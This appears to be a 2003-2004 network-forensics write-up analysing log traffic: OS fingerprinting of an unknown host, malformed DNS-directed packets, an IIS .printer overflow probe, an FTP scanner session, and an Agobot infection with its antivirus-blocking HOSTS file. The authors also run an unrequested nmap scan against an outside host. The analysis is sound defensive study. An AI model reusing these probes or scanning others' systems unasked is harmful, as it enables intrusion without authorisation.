So, what else can we learn from the information we have? Well, we can do a quick passive OS fingerprint on 12.147.59.67. The TTL field in all ICMP error messages is 46 when it reaches our network. Consulting some databases for default TTL values, this indicates several Linux kernels set the value to 64 initially. Let’s do a traceroute and see if we can count on this:
# traceroute 12.147.59.67 traceroute to 12.147.59.67 (12.147.59.67), 30 hops max, 38 byte packets 1 bras1-l0.mrdnct.snet.net (204.60.4.34) 11.561 ms 10.896 ms 10.256 ms 2 dist2-vlan60.mrdnct.sbcglobal.net (66.159.184.227) 8.382 ms 9.472 ms 9.334 ms 3 bb2-g5-0.mrdnct.sbcglobal.net (66.159.184.100) 9.226 ms 8.219 ms 8.348 ms 4 bb1-p9-0.hrndva.sbcglobal.net (151.164.188.241) 17.770 ms 18.348 ms 18.708 ms 5 bb2-p15-0.hrndva.sbcglobal.net (151.164.243.26) 18.489 ms 18.830 ms 17.945 ms 6 core2-p6-1.crhnva.sbcglobal.net (151.164.240.181) 18.737 ms 18.848 ms 18.191 ms 7 core2-p3-0.crnyny.sbcglobal.net (151.164.188.197) 182.037 ms 64.614 ms 203.737 ms 8 bb2-p10-0.crnyny.sbcglobal.net (151.164.188.93) 18.704 ms 17.927 ms 18.385 ms 9 ex1-p8-0.nycmny.sbcglobal.net (151.164.240.222) 18.231 ms 17.555 ms 18.440 ms 10 sl-gw31-nyc-11-0.sprintlink.net (144.223.26.201) 18.010 ms 18.091 ms 18.217 ms 11 sl-bb27-nyc-12-0.sprintlink.net (144.232.13.35) 19.711 ms 18.341 ms 18.195 ms 12 sl-bb20-nyc-6-0.sprintlink.net (144.232.13.154) 18.516 ms 18.351 ms 25.827 ms 13 144.232.18.226 (144.232.18.226) 18.231 ms 18.814 ms 17.960 ms 14 tbr1-p012402.n54ny.ip.att.net (12.122.11.213) 19.240 ms 20.672 ms 19.064 ms 15 tbr1-cl1.cgcil.ip.att.net (12.122.10.2) 66.574 ms 65.725 ms 64.432 ms 16 tbr2-p012501.cgcil.ip.att.net (12.122.9.134) 65.311 ms 65.492 ms 65.506 ms 17 tbr2-cl7.sl9mo.ip.att.net (12.122.10.46) 65.601 ms 65.138 ms 65.251 ms 18 gbr6-p90.sl9mo.ip.att.net (12.122.11.126) 64.893 ms 63.623 ms 64.574 ms 19 ar1-p3110.flrmo.ip.att.net (12.123.198.101) 65.531 ms 63.697 ms 65.250 ms 20 12.119.19.94 (12.119.19.94) 71.734 ms 71.540 ms 71.212 ms 21 12.147.59.67 (12.147.59.67) 67.748 ms 67.769 ms 67.716 ms
Now we can probably bet that the initial TTL was 64. Remember the IP protocol makes no guarantee that packets from source A to destination B will take the exact reverse route from source B back to destination A. In other words, even though packets seem to pass through 21 hops going from our network to theirs, it is likely that the reverse route (from them to us) is only 18 hops (64 - 18 = 46). Let’s also check out the odd TOS field that 12.147.59.67 sets in its Type 3 Code 3 ICMP messages - 0xC0. This is what Ofir Arkin has to say about this value in his ICMP Usage in Scanning research:
"Nearly all stack implementations send back 0x00 as the TOS when generating an ICMP Port Unreachable Message. All but Linux, which sends the value of 0xC0. Linux embraced the behavior RFC 1812 suggested and sends all his ICMP error messages with the Precedence field value sent to 0xc0."
Now we have a lot of educated guesses but its still not clear exactly what happened. Unsatisfied we dig deeper into the daily log file of traffic and print out all the ICMP messages between 16:13 and 20:47. It doesn't spit out any flawless answers but it doesn’t exactly leave us empty-handed either. This is what we found:
11/10-16:40:25.026130 12.119.19.94 -> 64.252.164.150 ICMP TTL:238 TOS:0x0 ID:430 IpLen:20 DgmLen:56 Type:3 Code:13 DESTINATION UNREACHABLE: ADMINISTRATIVELY PROHIBITED,PACKET FILTERED ** ORIGINAL DATAGRAM DUMP 64.252.164.150:63488 -> 12.147.59.67:162 UDP TTL:108 TOS:0x0 ID:256 IpLen:20 DgmLen:92 Len: 64 ** END OF DUMP 00 00 00 00 45 00 00 5C 01 00 00 00 6C 11 20 29 ....E..\....l. ) 40 FC A4 96 0C 93 3B 43 F8 00 00 A2 00 48 00 00 @.....;C.....H..
Notice that according to traceroute, the source address (12.119.19.94) is also the last hop in route from our network to 12.147.59.67. In the reverse direction this is also the first hop in route from 12.147.59.67 back to us. How do we know that if we stated earlier that routes can be dynamic at any time? Our guess begins with the fact that the TTL of this packet is 238, which is 17 hops less than a common default value of 255. If 12.119.19.94 is 17 hops away and 12.147.59.67 is 18 hops away, in conjunction with our trace, we can be fairly sure that the sender of this DESTINATION UNREACHABLE: ADMINISTRATIVELY PROHIBITED PACKET FILTERED message is the gateway or firewall for 12.147.59.67.
So know we have a clue of the remote system's network layout, but this adds little to our real problem. Lets keep avoiding that because going off on tangents is sort of fun. Check out the destination port of the original datagram, UDP/162 (snmp-trap). Why does this particular packet to UDP/162 generate a Type 3 Code 13 error message from the host's closest router while the other 1199 packets generate Type 3 Code 3 error messages from the host itself? We've just witnessed the effects of filtering on part of the router at 12.119.19.94. Receiving a Type 3 Code 13 instead of a Type 3 Code 3 is a crucial hint that port 162 is open on the target host but, well, as we can see, it is administratively prohibited. After all, why should anyone administratively prohibit access to ports that are closed? Anyway, we can investigate further - this time being a little more invasive. We figure, if our IP is being used by someone else to scan this host anyway, why the hell not. Lets see what nmap can tell us:
# nmap -sU -P0 -O -p 0-1024 12.147.59.67 Ports to be scanned must be between 1 and 65535 inclusive QUITTING! # nmap -sU -P0 -O -p 1-1024 12.147.59.67 Starting nmap V. 3.00 (www.insecure.org/nmap/) Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port Interesting ports on (12.147.59.67): (The 1020 ports scanned but not shown below are in state: closed) Port State Service 53/udp open domain 161/udp filtered snmp 162/udp filtered snmptrap 1024/udp open unknown Remote OS guesses: Linux Kernel 2.4.0 - 2.5.20, Linux 2.4.19-pre4 on Alpha, Linux Kernel 2.4.0 - 2.5.20 w/o tcp_timestamps, Gentoo 1.2 linux (Kernel 2.4.19-gentoo-rc5), Linux 2.5.25 or Gentoo 1.2 Linux 2.4.19 rc1-rc7), Linux 2.4.7 (X86), Linux 2.4.17 on HP 9000 s700, Mac OS 8.5Nmap run completed -- 1 IP address (1 host up) scanned in 1082 seconds
Ah! So UDP 162 is filtered indeed. This might be one of the network's DNS servers as we can tell by the open port 53. This seems to contradict what we suggested earlier about the host seeming extremely inactive (according to the IP ID field). It is hard to believe that a DNS server would be that quiet for such a long period of time. Anyway, it also appears that nmap's active OS fingerprint agrees with our passive technique - this is probably a Linux host.
Alright, seriously, back to the original problem. I can imagine a tool similar to nmap (or possibly a hacked version of nmap) that scans port 0, fills its UDP packets with user supplied or random bytes, and allows some sort of decoy option. In order for the host on which the program runs to determine what ports are open on the target system, it needs to receive the ICMP error messages and distinguish between Type 3 Code 3 and Type 3 Code 13 (possibly others). To simply spoof the source address does nothing for the attacker because I receive those ICMP messages, not him. But of course, in order to receive such responses the attacker must give up his true IP address so the packets make it home. The decoy provides a disguise by surrounding this critical traffic with identical scans from several (spoofed) addresses. The effect is that the victim host does not know which of the IP addresses is the actual attacking host and which are innocent, spoofed systems. Now, almost as quickly as we came up with that explanation, we can put it to rest. Discussed earlier was the fact that during the four and one half hour period we were the only host communicating with 12.147.59.67. Had this been an attack using decoys we would see larger gaps in the IP ID field as the host getting scanned sent the ICMP error messages to each individual address.
Lets jump back into the middle of this poorly organized document and make positively sure (once more) that this was not just a complete accident and our own system(s) were not the cause of the original datagrams reported in the error messages. We want to check out the TTL value again. We've already looked at values from 12.147.59.67 and 12.119.19.94, but what about the TTL in the original datagram? Scroll up and take a peek at the field TTL: 108 in the original datagram dump section. The only machines on our current network are Linux hosts and we have verified the default TTL value is 64. The original datagrams were generated by a host that sets its default TTL value to 128 (and thus is most likely 20 hops away from 12.147.59.67). One last observation we can make by looking at the original datagram dump fields is the IP ID value is a constant 256 (it does not increment by 1 like normal TCP/IP stacks). The packets were probably generated by exploit software that modifies these fields.
So, our conclusion is that we don't have one. We've discussed a few likely scenarios that all have some weak points in credibility. Maybe another day the answers will pop up but we've run out of time tonight!
Malformed / Mangled DNS-directed Packets
Between October 14th and 27th, 2003 our firewall logged 83 DNS-directed packets from 60 unique source addresses. Roughly a week later on Novermber 3rd we saw two more slighly different traces. Still, on November 13th we saw two more. It is yet to be determined if this collection of entirely invalid packets was intentional or accidental. The terminology "DNS-directed" instead of "DNS" was produced in light of this (though the packets are indeed directed at port 53, which is reserved for DNS servers, this could have been caused by an error that wrote the value of 53 into the destination port field. In this sense they are mistakenly being construed as DNS packets based on the port number not the packet contents). In the next few paragraphs we'll present both sides in almost the form of a debate - introducing theories and supporting or debunking them. If it gets heated enough we might actually figure out what these really are.
The reader should view the dns log file first (possibly leave it open in a separate window) and then return to this section. Done? Ok. It is not necessary to analyze every packet - the important differences will be pointed out, as will the similarities. The most obvious pattern is the destination port of 53 (DNS). This is consistent in all but two of the packets. Had we been running DNS on port 53, the packets would probably have made it up the protocol stack on the server, at which point they would either be rejected and logged (hopefully) or accepted (arbitrary results). As it turns out there were no DNS servers active on the network and all packets were dropped at the firewall. With this in mind we have to wonder why, if these are not part of a normal port scan (which they are not), would a system be turning to us to provide resolution services. So, our forecast is: a possibiliy of a temporary DNS misconfiguration on the source host, mixed with a chance of human error (such as manually entering the wrong IP address for a DNS server). However, 60 machines making the same mistake boldy indicates this was not an accident.
Before moving off the subject of port numbers, we should mention the source ports. Fifty-four of the eighty-three (65 percent) also originated from port 53 of the source host. This paints a twisted picture of true DNS interaction. The client - server model, for instance, would involve packets with a source port of 1024 or above and a destination port of 53 (for queries) and a source port of 53 and destination port of 1024 or above (for responses). Numbers 1-1023 are the "well-known ports" reserved for servers. They are normally off limits to client applications for one specific reason - if the client process chooses to send messages out of a port below 1024 where a server process is already listening, when replies arrive from the remote host there will be a nasty conflict (or at minimum a temporary denial of service). If this is exploit code we're dealing with and it chooses random source ports, we wouldn't see 65 percent addressed from 53. Likewise, if port 53 is hard coded into the exploit we wouldn't see 35 percent variance. We could imagine something like this pseudocode:
function source_port {if is_available(53) then use(53); else
use(clientport);}
That would cause the process to use 53 as a source port only if no other service is already using it - if so, the process chooses an ephemeral client port. It would be to an exploit's advantage to use port 53 as a source port so that it might blend in with legitimate DNS traffic. To investigate this further we could scan each of the 29 (83 - 54) hosts which did not use port 53 as thier source. If they all return positive (a service is listening on 53) we could bet on code similar to the above. Unfortunately, if we examine the dns_ips log file we will realize a majority, if not all, are dynamically assigned dial-up, cable, asdl, or ppp links from a number of large service providers. Chances are, by now, a completely different computer system is located at that IP address and thus we would be wasting our time scanning an arbitrary host.
Lastly, there are occassions in which DNS servers must directly communicate with each other, possibly resulting in packets with both a source and destination port of 53. We call these zone transfers - when secondary name servers obtain information from primary name servers. When zone transfers occur, the set of records for an entire zone are transmitted from one server to the other. This is much more data that can be carried by any single query or response so the TCP protocol is used. TCP breaks up a stream of user data into segments and thus can transfer any amount of data by simply using multiple segments. That's a great peice of trivia but we are not witnessing a zone transfer. First, no more than two hosts at a time are involved (in other words - not our network and 60 random servers). Secondly, there are no name servers here, much less secondary name servers; and we issued no request for a zone transfer from any primary name servers. Lastly, the transport layer protocol used to distribute these packets was UDP, not TCP (as we discuss next).
We can reveal several more patterns by examing the data in the packet headers before moving on to the payload contents. To begin with, all packets were transmitted using the UDP protocol over IP. There is significantly less overhead associated with UDP than there is with TCP. Connections do not need to be established before data is sent and furthermore no acknowledgements are required should the data be received. The significance of the UDP protocol in exploits is that if no connection needs to established, the source IP can easily be forged. Maybe what appears to be packets from 60 unique addresses is really an attempt for one specific host to hide its identity while conducting some sort of attack. Then again, maybe not - let's look at the TTL value in the IP header. They range from 19 to 118. The beginning TTL value (normally something like 64, 128, or 255, depending on the host OS) minus the final TTL value (what we see in our headers) is equal to the number of routers, or hops, between the source and destination (each router along the way decrements this value by 1 before forwarding the packet). There would not be such a widespread gap in TTL values had they originated from the same host machine, which leads us to believe that even if the source IP is spoofed these packets, there are several machines involved in spoofing and transmitting them. Our last bit of arguement on this topic is the following: if a process has privideges to alter the TCP/IP stack so as to present a false IP address, there is reason to believe the TTL value could also be falsified.
Moving on to the datagram length field in the IP header, all but 6 packets are exactly 537 bytes long (20 byte IP header, 8 byte UDP header, and 509 bytes of payload). Two of the six exeptions are 51 bytes, two are 63, and the remaining two are 540. There is nothing overly technical about this pattern. A possible explanation could be that the packets were generated from a similar process which chops data in 509 byte chunks and occassionally makes an error. Nonetheless this is quite large for a standard query, which might be 40-50 bytes in length and contain a single question. A standard response, on the other hand, might be much larger if several records must be returned. We'll discuss this further when we make it to the payload contents.
Oh, look, we're here already! Below we provide a randomly chosen sample as a visual aid for these next few discussions:
10/19-00:06:41.955288 200.100.72.235:53 -> 64.252.90.248:53
UDP TTL:112 TOS:0x0 ID:1305 IpLen:20 DgmLen:537
Len: 509
01 02 00 FE D0 84 3F 26 00 08 53 C8 64 48 EB 35 ......?&..S.dH.5
00 18 CB 77 34 35 00 18 94 09 6F 50 2B 41 30 AD ...w45....oP+A0.
DD 6C 62 04 41 90 E0 F9 7A 44 41 02 71 53 84 18 .lb.A...zDA.qS..
AE F7 CB A9 37 44 3D 10 64 24 75 44 04 47 35 9E ....7D=.d$uD.G5.
64 44 03 25 DC C2 79 41 60 54 16 3A 1E 18 DC ED dD.%..yA`T.:....
17 ED 12 45 90 19 F6 82 C7 3D 24 8E 90 D4 3A 42 ...E.....=$...:B
29 70 F4 32 18 44 2E 14 96 A7 22 C8 5D D1 85 7B )p.2.D....".]..{
3A 18 C2 AB 58 AE 18 44 09 BE 6A D0 37 0C E3 96 :...X..D..j.7...
9C 7D CB 18 E8 77 2B 8F 6B 44 55 F3 71 7B 50 18 .}...w+.kDU.q{P.
18 4F A9 3D 3E 18 3C 25 7B 9C 34 18 A6 4E 27 DE .O.=>.<%{.4..N'.
77 18 51 64 85 35 00 18 50 98 B1 35 00 0C D2 9E w.Qd.5..P..5....
03 35 00 96 D6 8B CA 35 00 50 18 C9 6B 62 20 18 .5.....5.P..kb .
4F 3E E4 10 5F C3 B8 B1 6F 9A 6F CB CC A0 14 F6 O>.._...o.o.....
0C 04 23 F0 86 35 00 D5 49 9E D7 35 00 44 6B FF ..#..5..I..5.Dk.
17 35 00 42 B7 7E A0 66 38 8E 97 8A 61 8D 68 44 .5.B.~.f8...a.hD
08 3A 34 90 99 8E D9 8B 4F DB 53 0C D8 DD E1 52 .:4.....O.S....R
6C 42 B0 8F 94 9A 25 43 A2 32 06 7B C7 42 5B 28 lB....%C.2.{.B[(
87 35 00 0C E7 43 16 E0 42 18 D3 13 0C 35 00 50 .5...C..B....5.P
22 B1 5B 86 64 44 75 70 D7 71 5F 18 32 25 47 4A ".[.dDup.q_.2%GJ
4A 0C D8 E4 B1 5E 6A 18 C3 E7 86 D2 5B 44 0B 31 J....^j.....[D.1
6E A2 31 18 A6 25 29 6E 37 D5 64 CC D0 F4 75 44 n.1..%)n7.d...uD
C9 0D 24 7F 07 41 31 12 9A 03 4C 42 42 BB C5 79 ..$..A1...LBB..y
0F 18 BB 73 CE C5 27 44 B8 4F 7C 35 00 3E 39 22 ...s..'D.O|5.>9"
9A 2D 0E D9 7F 8F D4 D6 4D 50 30 FF E2 35 00 44 .-......MP0..5.D
33 2A 69 B3 26 18 9D 95 E5 35 00 51 CA 1A 83 87 3*i.&....5.Q....
A6 18 6B 98 A8 8E 71 41 1A 2A 96 C4 66 43 A7 0C ..k...qA.*..fC..
6C E9 3C 40 B2 01 A3 63 56 18 4A EC 8A 35 00 D5 l.<@...cV.J..5..
89 38 2F 77 38 18 5B 52 4B 93 63 C8 59 8A 8D AB .8/w8.[RK.c.Y...
08 18 A5 7E 62 AA 29 44 0B A4 AA 69 19 51 DA 2E ...~b.)D...i.Q..
6C CD 43 41 23 29 DF F1 29 44 08 D6 82 C8 2E 8D l.CA#)..)D......
D5 BB 36 8E 30 50 20 3A 51 42 21 C8 5D 4C F1 C2 ..6.0P :QB!.]L..
4D 44 71 28 73 91 5F 42 A8 18 C1 65 64 MDq(s._B...ed
The reader should take a close look at the dns_format in order to understand how the bytes in the packet are interpreted. In fact, if this step is skipped, the rest of the report might be meaningless.
So, our identification number, or session ID is 258. This field is set by the client and returned by the server; it lets the client match responses to requests. Hence, it should be more or less unique - there are 65535 possible session IDs and yet we see the same number used in all but two of the packets (both from November 13th, which set it to 259 instead). We then have the flags value marked as special because it is calculated differently than the others. Here is the key, as decoded by Ethereal:
Flags: 0x00FE (Standard query) 0... .... .... .... = Response: Message is a query .000 0... .... .... = Opcode: Standard query (0) .... ..0. .... .... = Truncated: Message is not truncated .... ...0 .... .... = Recursion desired: Don't do query recursively .... .... .1.. .... = Z: reserved - incorrect! .... .... ...1 .... = Non-authenticated data OK: Non-authenticated data is OK
In other words, the 'Z: reserved' and 'Non-authenticated data OK' flags have been set (indicated by a 1). However, in this situation we are more concerned with the flags that are not set, in particular the very first option. If the value is 0, the DNS message is a query. If the value is 1, the DNS message is a response. This single-bit field cannot be both a 0 and a 1, thus, naturally, the message must be either a query or a response. This is going to raise some issues in the next paragraph so don't forget it.
We've now discussed the identification and flags field. The remaining four 2-byte fields specify the number of entries in the four variable-length fields that complete the record. For a query, the number of questions is normally 1 and the other three counts are 0. Similarly, for a reply the number of answers is at least 1 (provided there are no errors), and the remaining two counts can be 0 or nonzero. This is when it gets ugly. The data in our sample packet header claims that the message contains 53380 questions, 16166 answer resource records, 8 authority resource records, and 21448 additional resource records. This sample is representative of the entire group. In fact, 83 of the total 87 packets report 53380 questions, 16166 answer resource records, and 8 authority resource records. We shouln't have to say much about this - it screams illegitimate. Begining with the additional resource records field, the bytes become scattered and resistant to overt pattern detection. We can only stipulate complete randomness. However, we can try to explain it.
For instance, we could take the "accidental" stace. Perhaps during transmission some bytes in the header were erroneously shifted, causing them to overwrite their neighboring values. This is almost a reasonable scenario if it wasn't for the checksums that validate the integrity and order of the bytes. The IP checksum covers all data in the IP header, including the port numbers. Now we can be fairly positive that the destination value of 53 is not the cause of an accidental misdirection. Furthermore, the UDP checksum covers not only the UDP header but the UDP data (the entire payload). Both checksums are correct - meaning these packets were curropt from the start.
We're almost done here. The resources and information we have are nearly exhausted and we have not even embarked upon a rational explanation. This is when we use our imagination and start to guess.
Suggested by a friend (thanks Eric!), perhaps we are sucking up some lost peer-to-peer traffic. Sticking with this assumption would force us to believe a file transfer program would be utilizing UDP as the transmission protocol (terrible choice) and that the software normally listens (or is configurable to listen) on port 53 (an even worse choice). In favor of this explanation is the fact that the first 10 bytes in most packets are identical. These could be control bytes, indicating what the recieving process should do with all bytes following those 10. This would also provide a reason why those remaining bytes are different in each packet. It would clearly explain why we see traces from 60+ unique addresses.
We could also imagine a certain DNS server's cache was corrupted, causing any client request to be redirected to our domain. This would explain the protocol being used (UDP), destination port numbers (53), and variation of source IP's. It would not, however, explain the magnitude of malformation these packets seemed to have experienced.
That's a wrap for now. Let's bury this one in a dark, dark, place. When the time comes we'll dig it up and give it a name.
More discrimination against IIS web servers. Crackers have found the .printer ISAPI filter named msw3prt.dll to be vulnerable to buffer overflow attacks. The DLL provides Windows 2000 with support for the Internet Printing Protocol (IPP) which allows for the web-based control of various aspects of networked printers. Below is the initial request to take advantage of this weakness:
>69.137.92.31 - - [23/Feb/2004:15:31:16 -0500] "GET /NULL.printer" 404 298 "-" "-"
Unfortunately we only have the web server's access log, not the entire packet capture. If we did, it would likely contain approximately 420 bytes in the HTTP Host: header, which provides the buffer. These specified characters can overwrite EIP with a location in memory that jumps to the exploit code, in memory, and then executes that code with SYSTEM level access. More details of this exploit available has been made available by eEye Digital Security, [15].
This tool comes with several default scripts to scan everything from SMTP to FTP and more. On the lesser side of intelligence, though, it always uses one particular email address as the anonymous FTP password - thus remaining hardly anonymous. Furthermore, the string _kurdt seems to be a nickname or tag of the scanner. There are tons of hits on google about this scanner, so enough is said here.
OUT 220 ProFTP 1.2.7 Server (ftp@mnin.ods.org) [sp] IN user anonymous OUT 331 Anonymous login ok, send your complete email address as your password IN PASS ncoic77@hotmail.com OUT 230 Anonymous access granted, restrictions apply IN mkd _kurdt OUT 550 _kurdt: Permission denied IN pwd OUT 257 "/" is current directory IN cwd upload OUT 550 upload: No such file or directory
Continued for directories: incoming, pub, temp, _vti_pvt, public, cgi-bin, and wwwroot.
This event began with two alerts from an external source of intrusion detection. Both alerts, one related to TrixScripts and one to the ADODB.stream object, were indicating that a machine on the internal network was attempting to download suspicious content from Internet web servers. The alerts did not go into detail but a quick Google search lead to some pretty interesting information. TrixScripts is related to trixscripts.com, a company that produces scripts and guarantees it can boost a webmaster's income once they are installed. At least one other source, [16] on the Internet associates the scripts to be of a deliberately deceptive nature; and frequently containing spyware, parasites, and DoS capabilities. Unpatched IE browsers with insecure ActiveX settings are generally more vulnerable to these scripts than others.
On a similar note, the ADODB.stream object is used to send browsers binary data through ASP pages. Code that Symantec labels Downloader.Psyme, [17] sends a GET request to a predetermined web site and tries to download a file. Then it creates an ADODB.stream object and executes the file. Another, labeled by Symantec as Trojan.Trunlow, [18] is usually distributed through links that are hidden in Web pages or pop-up windows. Once active it may exploit Internet Explorer vulnerabilities to download and execute files. A major similarity among all these attack scenarios is that they all contain some type of HTML component. This code may be added to pages on legitimate Web sites whose security has been compromised. With a little time and some cooperation of the webmasters, it could likely be traced back to trixscripts.com and several others.
Meanwhile, no report is fun without something to show. We dug up the link our internal machine visited which set off the ADODB.stream alert; and visited it ourselves. Here is a bit of the more interesting content:
It has come to our attention that some people feel PassThisOn.com distributes viruses and spyware. This is NOT true. PassThisOn.com NEVER downloads ANYTHING onto ANYONE's computer. Rest assured that PassThisOn.com does NOT nor will it EVER download ANY FORM of software on your computer without your EXPLICIT permission. The ONLY setting that PassThisOn.com configures is default homepage (which it does NOT lock up) and it does so in accordance with the full disclosure of the terms of service displayed below.
As part of the terms of service noted above, your homepage may have been switched to one that we control. You can easily fix that by simply changing your default homepage back to that of your preferred site and then simply restart all open browsers or restart your computer (this will guarantee a delayed popup will not reset it.) You can escape any hidden console by selecting it and then click alt-F4. If you have a file named reg.hta or reg2.hta in your startup folder, that may have been placed about three years ago and immediately later terminated. Simply remove that file to assure your homepage is not re-switched. We never download any spyware, adware, trojans or viruses to your computer. The ONLY change we ever make to any setting on your computer is default homepage in accordance with our terms of service. We also conduct viral marketing tests (not to be confused with viruses) to test the effectiveness of "word-of-mouth" referrals to our site.
We don't download anything onto your computer, we only change settings. Oh, and if we do upload something, it was there before. Yeah, right. Anyway, by consulting the logs of our transparent inline http proxy, we printed out a list of all the sites the infected machine tried to access. Among the many were cydoor.com, sandboxer.com, u5117.16.spylog.com, gs.gator.com, addfreestats.com, ss.gator.com, and www2.seek2.com.
If anything is to be learned from this short article it is to use Mozilla instead of IE, run AdAware and/or Spybot S&D frequently, and don't buy scripts for your website from trixscripts.com.
W32.Gaobot.AFJ and Assorted Malware
Agobot and its variants are pretty nasty. They spread through open network shares, backdoors that the Beagle and Mydoom worms install, and several Windows vulnerabilities. Several open backdoors, attack other systems, and disable anti-virus software. Based on the location of some of the infected files, it is suspected that the victim machine was compromised via browsing the web or browsing network shares with a browser. The following alerts were generated by Norton AntiVirus in the early stages (but still too late) of the attack:
The file C:\kfhuzygd.exe is infected with the W32.Gaobot.AFJ virus. The file was quarantined. The file C:\WINDOWS\system32\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5\1VC1AOXB\bot[1].exe is infected with the W32.Gaobot.AFJ virus. The file was quarantined. The file C:\WINDOWS\system32\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5\20V6S81Y\bot[1].exe is infected with the W32.Gaobot.AFJ virus. The file was quarantined. The file C:\WINDOWS\system32\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5\7VB14L2C\bot[3].exe is infected with the W32.Gaobot.AFJ virus. The file was quarantined. The file C:\WINDOWS\system32\soundtask.exe is infected with the W32.Gaobot.AFJ virus. Unable to delete the file. The file C:\WINDOWS\system32\soundtasks.exe is infected with the W32.Gaobot.AFJ virus. Unable to delete the file. The file C:\WINDOWS\system32\wormride.dll is infected with the W32.Gaobot.AFJ virus. The file was quarantined.
Typically, if Norton cannot delete a file, and the file is an executable, that means the process is running. We found that this particular variant did not disable Norton completely, but it did attempt to take it over, which may have been successfull. In the very least, it succeeded in preventing Norton from updating by altering the HOSTS file and making the system resolve live update sites to itself. In a sense, Agobot tied both ends of the telephone wires together and caused the machine to call itself in search of updates, rather than the real sites. Displayed on Symantec's site, here is exactly how the HOSTS file appeared:
127.0.0.1 www.symantec.com 127.0.0.1 securityresponse.symantec.com 127.0.0.1 symantec.com 127.0.0.1 www.sophos.com 127.0.0.1 sophos.com 127.0.0.1 www.mcafee.com 127.0.0.1 mcafee.com 127.0.0.1 liveupdate.symantecliveupdate.com 127.0.0.1 www.viruslist.com 127.0.0.1 viruslist.com 127.0.0.1 viruslist.com 127.0.0.1 f-secure.com 127.0.0.1 www.f-secure.com 127.0.0.1 kaspersky.com 127.0.0.1 kaspersky-labs.com 127.0.0.1 www.avp.com 127.0.0.1 www.kaspersky.com 127.0.0.1 avp.com 127.0.0.1 www.networkassociates.com 127.0.0.1 networkassociates.com 127.0.0.1 www.ca.com 127.0.0.1 ca.com 127.0.0.1 mast.mcafee.com 127.0.0.1 my-etrust.com 127.0.0.1 www.my-etrust.com 127.0.0.1 download.mcafee.com 127.0.0.1 dispatch.mcafee.com 127.0.0.1 secure.nai.com 127.0.0.1 nai.com 127.0.0.1 www.nai.com 127.0.0.1 update.symantec.com 127.0.0.1 updates.symantec.com 127.0.0.1 us.mcafee.com 127.0.0.1 liveupdate.symantec.com 127.0.0.1 customer.symantec.com 127.0.0.1 rads.mcafee.com 127.0.0.1 trendmicro.com 127.0.0.1 www.trendmicro.com 127.0.0.1 www.grisoft.com
A quick test to see which applications are holding which ports open yielded the following information:
FPort v2.0 - TCP/IP Process to Port Mapper Copyright 2000 by Foundstone, Inc. http://www.foundstone.com Pid Process Port Proto Path 704 svchost -> 135 TCP C:\WINDOWS\system32\svchost.exe 4 System -> 445 TCP 740 svchost -> 1025 TCP C:\WINDOWS\System32\svchost.exe 4 System -> 1026 TCP 216 navapw32 -> 1027 TCP C:\PROGRA~1\NORTON~1\navapw32.exe 2272 P2P Networking -> 3531 TCP C:\WINDOWS\System32\P2P Networking\P2P Networking.exe 904 -> 5000 TCP 2416 aim -> 5180 TCP C:\PROGRA~1\AIM95\aim.exe 4 System -> 123 UDP 704 svchost -> 445 UDP C:\WINDOWS\system32\svchost.exe 2272 P2P Networking -> 1030 UDP C:\WINDOWS\System32\P2P Networking\P2P Networking.exe 4 System -> 1031 UDP 904 -> 1032 UDP 216 navapw32 -> 1900 UDP C:\PROGRA~1\NORTON~1\navapw32.exe 740 svchost -> 3531 UDP C:\WINDOWS\System32\svchost.exe 2416 aim -> 59918 UDP C:\PROGRA~1\AIM95\aim.exe
All seems normal except the potentially trojanized AIM process, which was abnormally bound to TCP 5180 and UDP 59918. On this occassion we screwed up the investigation by failing to notice this until after the disk was wiped, and not making a backup of the evidence. What follows now is an excerpt of the report we released to the owner of the infected machine, describing the other rogue processes and applications that were running. They may or may not have been contracted as a result of the Agobot infection. It goes to show that where there is one infection, there are likely several.
This is the contents of the Windows Registry at location:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
For those not familiar, anything found in this path will be executed everytime Windows boots. Usually they run in the background until manually terminated. Several of the descriptions are from Inoculate, Network Associates, and Symantec, but a majority are from security forums and google groups (so its not all 100% credible). Nonetheless a good (er, bad) collection of spyware we can all learn to identify from now on.
C:\Program Files\Real\RealPlayer\RealPlay.exe SYSTEMBOOTHIDEPLAYER The RealPlayer Media Application - not suspicious C:\Program Files\QuickTime\qttask.exe" -atboottime The QuickTime taskbar applet - not suspicious C:\Program Files\BroadJump\Client Foundation\CFD.exe The very shady BroadJump software installed along with SNET, Cox, and Comcast products. Known to be bundled with the same software that opens up backdoors for remote access on the openSSL port. c:\program files\support.com\bin\tgcmd.exe" /server /startmonitor /deaf /nosystray The even more shady support.com stuff from the ISP software - very same executable we saw on an infected laptop though it was not listening on a backdoor that we could tell C:\PROGRA~1\Save\Save.exe WhenUSave product: Application that provides users with coupons and offers while browsing the Internet. The application captures the web site addresses and search words and displays popup advertising related to sites that the user visited. C:\WINDOWS\System32\spool\drivers\w32x86\3\hpztsb06.exe Appears to be the HP DeskJet taskbar utility - not suspicious C:\PROGRA~1\NORTON~1\navapw32.exe Norton's not so anti anti-virus - only suspicious in the sense that it may have been taken over by Agobot. C:\Program Files\REGSHAVE\REGSHAVE.EXE/AUTORU Cleans up some registry entries after the installation of software from Fuji - probably not suspicious C:\Program Files\Yahoo!\browser\ybrwicon.exe Just a browser - probably not suspcious C:\PROGRA~1\Yahoo!\PARENT~1\ypc.exe Yahoo Parent Control - probably not suspicious C:\Program Files\SBC Yahoo!\Connection Manager\IP InSight\IPMon32.exe Not the IPMon we're used to. This is an app from Visual Networks called IP Insight It's a diagnostic tool that Verizon techs can use to troubleshoot connection problems on your line. It does send "phone home" data used to check latency and network traffic occasionally C:\PROGRA~1\MYWEBS~1\bar\1.bin\mwsoemon.exe MyWebSearch Email Plugin that does much more. (i) block certain pop-up ads and pages; (ii) display links to related websites and keywords based on the information you view and the websites you visit; (iii) store non-personally identifiable statistics of the websites you have visited; (iv) redirect certain URL's including your browser default address bar search, DNS error page and Search Button page to or through the Service and; (v) automatically update the Service and install added features or functionality conveniently without your input or interaction unless you have chose to be notified of such update in advance.' C:\Program Files\ClearSearch\Loader.exe Basic spyware. Periodically updates itself by downloading control data from the search site and contacts the search site to track advertisements. rundll32.exe "C:\WINDOWS\Downloaded Program Files\bridge.dll",Load An adware program that downloads advertisements onto your computer. It has two components: an executable file and a Browser Helper Object. Attempts to download files from www.flingstone.com (we saw references to flingstone within some of the executables). 